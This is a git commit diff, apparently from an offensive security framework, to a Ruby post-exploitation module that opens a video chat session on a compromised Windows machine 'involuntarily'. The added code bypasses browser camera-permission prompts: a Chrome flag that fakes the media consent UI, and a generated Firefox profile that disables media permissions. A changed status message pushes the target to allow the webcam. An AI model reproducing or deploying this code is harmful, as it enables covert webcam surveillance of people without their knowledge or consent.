Automatically turn on webcam in Firefox

bug/bundler_fix
sinn3r 2014-02-10 17:05:08 -06:00
parent 575ee09b77
commit 1114913298
2 changed files with 12 additions and 1 deletions

View File

@ -7,7 +7,7 @@
<pre>
Target IP : =RHOST=
Start Time : =STARTTIME=
Status : <span id="message">Please wait for the broadcast...</span>
Status : <span id="message">Please wait for the broadcast. You need to allow your webcam to run in order to join the video session.</span>
</pre>
</div>
<div id="chat_area"></div>

View File

@ -137,6 +137,7 @@ class Webcam
#
# Creates a video chat session as an offerer... involuntarily :-p
# Winodws targets only.
#
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
# @param offerer_id [String] A ID that the answerer can look for and join
@ -158,9 +159,19 @@ class Webcam
raise RuntimeError, "Unable to initialize the interface on the target machine"
end
#
# Automatically allow the webcam to run on the target machine
#
args = ''
if remote_browser_path =~ /Chrome/
args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
elsif remote_browser_path =~ /Firefox/
profile_name = Rex::Text.rand_text_alpha(8)
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
setting = %Q|user_pref("media.navigator.permission.disabled", true);|
write_file(profile_path, setting)
args = "-p #{profile_name}"
end
exec_opts = {'Hidden' => false, 'Channelized' => false}